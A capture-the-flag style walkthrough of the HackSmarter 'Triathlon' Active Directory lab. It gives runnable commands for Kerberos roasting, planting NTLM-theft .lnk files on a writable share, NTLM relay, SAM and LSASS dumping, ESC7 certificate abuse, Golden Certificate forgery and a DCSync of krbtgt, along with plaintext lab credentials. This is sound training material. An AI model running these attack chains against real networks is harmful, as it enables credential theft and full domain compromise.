HackSmarter Triathlon Walkthrough
Objective / Scope :
The 2025 U.S. Elite Triathlon National Team has requested a penetration test on its internal network. They have granted access to their network via VPN, but no other information has been provided. Successful testers should prove full compromise by providing the NTLM hash for the “krbtgt” account.
Treat this like a real engagement, keeping in mind that only the lab environment assets are in scope for active testing.
Solution :
So we are given 3 IP addresses , we first start by scanning them to have a better idea on each of these machines .
Looking at the open ports , we can tell all of these are windows machine , for this we will use nxc to generate the Hostnames as well as the Domain to add to our /etc/hosts file .
Now let’s go back to our scans to tell which one is the DC .
From these open ports we can tell that :
Run-Server : This is the DC (Kerberos / LDAP / DNS open on it ) so it would make more sense .
Bike-Server : This one has a Web app running on it , Fuzzing it didn’t return any additional endpoints .
Swim-Server : This is just a Windows machine , Winrm , RDP open but nothing out of the ordinary .
Since this is an AD Lab , i always like to keep this quick checklist in mind :
1
2
3
4
5
6
7
8
9
10
11
Scan All TCP Ports : Check The useful note Down for more info .
Check ldap , rpc , smb with anonymous access . Check for Public Shares .
Find Usernames : Find usernames in Web Site and generate a Username List maybe . if you get access , Look for usernames using netexec , –rid-brute , –users and enumdomuser with RPC client .
Check usernames found with kerbrute .
Search for ASREP Roastable Users .
Once we have valid Creds : Check Kerberoastable users + Spray the password on all users .
Try to authenticate using every protocol .
Enumerate shares with those Users found . Use netexec to download .
Check Certipy for Vulnerable Templates if there is an ADCS in place .
If we get a Shell , try privesc , dump all Hashes using netexec or locally and store into a file .
If we can’t privesc , we can move to Blood Hound .
My goal here is to gather a list of usernames for ASREPROASTING since i don’t really see another way in , First we use nxc to check if we can get users via anonymous access :
This didn’t work , checked Shares as well but guest account is disabled, RPC and ldap using ldapsearch but that did’t work either .
This didn’t work either , so for now all we got is a web server running on the Bike-Server machine , and some additional information about the Company . Maybe OSINT is our way in .
If we read the Objective we find that They are talking about a 2025 U.S. Elite Triathlon National Team , quick search online :
Perfect we find a lot of names , first thing that we shouuld do is put them in a file and use a tool like username anarchy to try and get all the combinations possible of those names, from there we can use Kerbrute to validate our usernames .
1
2
wget https://raw.githubusercontent.com/mohinparamasivam/AD-Username-Generator/refs/heads/master/username-generate.py
python3 username-generator.py -u username.txt -o genrated_username.txt
Now let’s test these usernames :
Perfect Found 3 valid users that we can test for ASREPROASTING :
T.spivey is vulnerable to ASREPROASTING , but we can’t seem to be able to crack his hash .
1
2
john --wordlist=/usr/share/wordlists/rockyou.txt Hashes.txt
hashcat -m 18200 Hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule
I used both John and Hashcat with best66 rules which adds some mutations to each password to make it more complex and have a higher chance . (Seen it on a different Box before that’s why i always try it whenever Rockyou doesn’t crack the Hash at the first try )
Now we’re kinda stuck here , the only thing we can really do is use impacket to extract the TGT from the ASREP , then use that to request a TGS for a service account , and hope we can crack that service Hash :)
In a normal setup we would need valid Creds (username and a password) to be able to perform Kerberoasting , but this time we have a user that doesn’t have PRE_AUTH which allows us to perform Kerberoasting using his account , the only difference is , we HAVE to specify the accounts that we want to test , since we don’t have vcalid creds we can’t query LDAP for users with an SPN , so we must specify the service names …
Impacket GetuserSPN allows us to do this by using the -no-preauth Flag .
1
impacket-GetUserSPNs -no-preauth t.spivey tri.lab/ -dc-ip $DC_IP -usersfile Valid_Users -outputfile kerb_hash
Luckily for us the user J.reed has an SPN which means he is Kerberoastable . Now let’s try to crack it (Rock you wasn’t enouug again , so i used the best66 rules on Hashcat) :
Now that we’ve got valid set of credentials , i checked the shares first , but only found the default ones (we will check shares on other machines as well if we’re stuck).
From there i tried generating a list of all users , to try ASREPROASTING again in case we missed a user . After that i also tested Kerberoasting against service accounts now that we are able to query the ldap server ..
1
nxc smb $DC_IP -u 'j.reed' -p 'Utah123' --rid-brute | grep -i 'sidtypeuser' | awk '{print$6}' | cut -d '\' -f 2 | tee all_users
No additional ASREPROASTable users !) , let’s check Kerberoasting :
Again , only the jreed user . Tried spraying the password on all the other users but that didn’t work either , also the j.reed user can’t winrm nor rdp to the DC .
Now let’s move to the other machines , to see if we can access any of them via rdp or winrm as the j.reed user .
No winrm , RDP nor admin privileges on any of the machines .
==> Shares :
Now let’s check if our user can access any of the shares on the other machines since we only tested the DC .
Perfect, our user has access to the share TransitionZone on the SWIM-server machine . We also see that we have WRITE access . Always, if we have Write access to a share, think about uploading an .lnk file that will connect back to our machine so that we can steal a hash. If we see that there is a web server that hosts files from that share, we can always try and upload an ASPX reverse shell or just a webshell (depends on the technology used, but since it’s Windows it’s most probably going to be ASP or ASPX). After that, we can execute it and get a shell as the web server user in some cases.
For this one i will use nxc to make life easier , if it doesn’t work i will try a recent CVE that usually works on other labs . But in case you wanted to try NTLM theaft :
1
2
3
4
5
6
7
8
9
10
11
12
# NTLM Theaft :
https://github.com/Greenwolf/ntlm_theft
git clone https://github.com/Greenwolf/ntlm_theft.git
cd ntlm_theft
python3 ntlm_theft.py --generate modern --server tun0 --filename "Please_Clickit"
# For the CVE :
https://github.com/helidem/CVE-2025-24054_CVE-2025-24071-PoC
# Using NXC :
nxc smb SWIM-SRV -u 'j.reed' -p 'Utah123' --shares -M slinky -o NAME=CLICKKKK_pls SERVER=10.200.62.168
We got the NTLMV2 of the user e.ackerlund . Now let’s try to crack it :
Againt Rockyou doesn’t work , even with best66 rule -_- .
Luckily for us , this is Windows and there is something called NTLM Relay that we can abuse . In case we had the NTLMV2 , well we can always relay it to a machine to athenticate to that machine as long as the machine doesn’t have SMB signing or LDAP signing on.
First we need to get a list of machines that don’t have SMB Signing on , we can do that using nxc .
Although nxc shows that they have SMB Signing on , we should always verify using nmap :
As we can see SMB signing isn’t required for the 2 machines other than the DC .
1
2
nmap -p 139,445 --script smb-security-mode,smb2-security-mode -Pn -iL targets
nxc smb targets --gen-relay-list relay_targets.txt
Now that we got a list of machines with No SMB Signing , we can run our relay server using ntlmrelay which will capture the user’s NTLMV2 and forward it to the machine to authenticate as that user .
One thing to note is that Windows by default blocks the NTLM coming from the same machine , this is what’s called a reflection attack so unless we have a CVE that can cause it (which exists) we can’t relay to the same machine .
So we will only try and relay to the other machine (Bike-Server)
Now we just wait for the user to open the INK file we alreay put in the Share :
Perfect , e.ackerlund is local admin on that machine even , so we are able to dump the SAM and get admin Hash .
We will use this Administrator Hash to dump the lsass process which might contain other domain users not just local ones .
We can dump the hashes using nxc .
We are able to dump the DCC2 hash for the m.peterson user .
The DCC2 hash is the hash the machine caches whenever a domain user logs in locally. We can’t use it to authenticate over the network via SMB, LDAP, etc. So the only option is to crack it offline.
The mode for the DCC2 hash is 2100 :
1
hashcat -m 2100 mpearson_hash /usr/share/wordlists/rockyou.txt
We are able to crack it , we see that our user has Admin privileges on the SWIM-SRV .
Let’s try to dump Hashes .
We don’t find any additional users .
Let’s check Bloodhound , to see if this user has any important ACLs we can abuse .
Steps to setup BloodHound :
1
2
3
4
5
6
7
8
9
# To get the ZIP file :
nxc ldap $target -u 'hellyr' -p 'H3lenaR!2025' --bloodhound --collection All --dns-server $target
# To run BloodHound :
https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart
wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
sudo ./bloodhound-cli install
./bloodhound-cli resetpwd
Visit : http://localhost:8080/ui/login
If we check Bloodhound :
Our user has no Outbound object control , no important groups . Let’s check certipy to see if we have any vulnerable templates :
1
certipy-ad find -u m.pearson -p 2silver -dc-ip $DC_IP -stdout -vulnerable
Certipy doesn’t find anything .
BUT The CA server is the SWIM-SRV , so we’re basically Admin on the machine that issues the Certs , we can also check BloodHound and it will show that we are part of the CA publisher group (makes sense We are the CA server litteraly)
Abusing Admin on the CA machine :
Now there are 2 ways we can abuse this :
ESC7
So basically we have Manage CA permissions over the Certificate Authority. What this lets us do is enable the SubCA template which is a special built in template that allows us to specify whoever we want as the subject of the certificate meaning we can say “issue this cert for Administrator”. We request it, the CA denies us because we don’t have direct enrollment rights on SubCA, but here’s the sneaky part — the request still gets logged with a Request ID, and our private key gets saved locally. Now we use our Manage CA permission again, but this time to just approve our own denied request. Once approved we retrieve the certificate and now we have a valid cert authenticating us as Administrator game over.
More details on how the attack works :
1
https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation
Now if we follow the wiki this is the attack path :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 1. Add yourself as officer (Manage CA → officer role)
certipy-ad ca -u m.pearson -p 2silver -ns $DC_IP -dc-ip $DC_IP -target SWIM-SRV.tri.lab -ca tri-CA -add-officer m.pearson
# 2. Enable SubCA template
certipy-ad ca -u m.pearson -p 2silver -ns $DC_IP -dc-ip $DC_IP -target SWIM-SRV.tri.lab -ca tri-CA -enable-template SubCA
# 3. Request cert for DA (will fail, save private key when prompted!)
certipy-ad req -u m.pearson -p 2silver -ns $DC_IP -dc-ip $DC_IP -target SWIM-SRV.tri.lab -ca tri-CA -template SubCA -upn j.reed_adm@tri.lab -sid S-1-5-21-542797205-3952052766-1175187200-1109
# 4. Approve your own denied request
certipy-ad ca -u m.pearson -p 2silver -ns $DC_IP -dc-ip $DC_IP -target SWIM-SRV.tri.lab -ca tri-CA -issue-request <ID>
# 5. Retrieve the cert
certipy-ad req -u m.pearson -p 2silver -ns $DC_IP -dc-ip $DC_IP -target SWIM-SRV.tri.lab -ca tri-CA -retrieve <ID>
# 6. Authenticate using the Certificate :
certipy-ad auth -pfx j.reed_adm.pfx -dc-ip $DC_IP -username j.reed_adm -domain tri.lab
# 7. DCSync
impacket-secretsdump tri.lab/j.reed_adm@RUN-SRV.tri.lab -hashes :NTHASH -just-dc-user krbtgt
First we change our role to officer (if needed) then we enable the SubCA template which is vulnerable then we request a certificate on behalf of a DA , which will fail but we can save our private key and keep the ID in mind .
Now that we got our ID , we can approve the request using the request ID and from there we retrieve our cert .
And finally we can use that cert to authenticate :
Now there is another way to exploit this Admin on the CA machine .
Golden Certificate :
Just like with a Golden ticket , we got the KRBTGT Hash and we can generate tickets for anyone with any permission we want , the Goiden Cert is the same thing , we got the CA private key that is used to sign ALL the certificates that the CA assigns , so to make it simple , we steal the Private Key of the CA and use it to sign any certificate on behalf of any user we want (And we can do this OFFLINE !!!!) , and finally authenticate as that user .
Now the Attack path is this :
1
2
3
4
5
6
7
8
9
10
11
# 1. Backup the CA certificate and private key
certipy-ad ca -backup -ca 'tri-CA' -username m.pearson@tri.lab -password 2silver -dc-ip $DC_IP -target SWIM-SRV.tri.lab
# 2. Forge a certificate offline for DA using stolen CA key
certipy-ad forge -ca-pfx tri-CA.pfx -upn j.reed_adm@tri.lab -sid S-1-5-21-542797205-3952052766-1175187200-1109 -crl ldap:///
# 4. Authenticate with forged cert and get NT hash
certipy-ad auth -pfx j.reed_adm_forged.pfx -dc-ip $DC_IP -username j.reed_adm -domain tri.lab
# 5. DCSync for krbtgt
impacket-secretsdump tri.lab/j.reed_adm@RUN-SRV.tri.lab -hashes :NTHASH -just-dc-user krbtgt
We first backup the CA and private key , then request the Ticket for the user :
From there we just authenticate as that user , pretty simple !
And finally we perform our DCSync using the DA Hash since we got it when we authenticated using the pfx cert .
That was all for this lab , Lot of fun , with OSINT at the beguinning and Golden Cert attack at the end . See you in the next one :)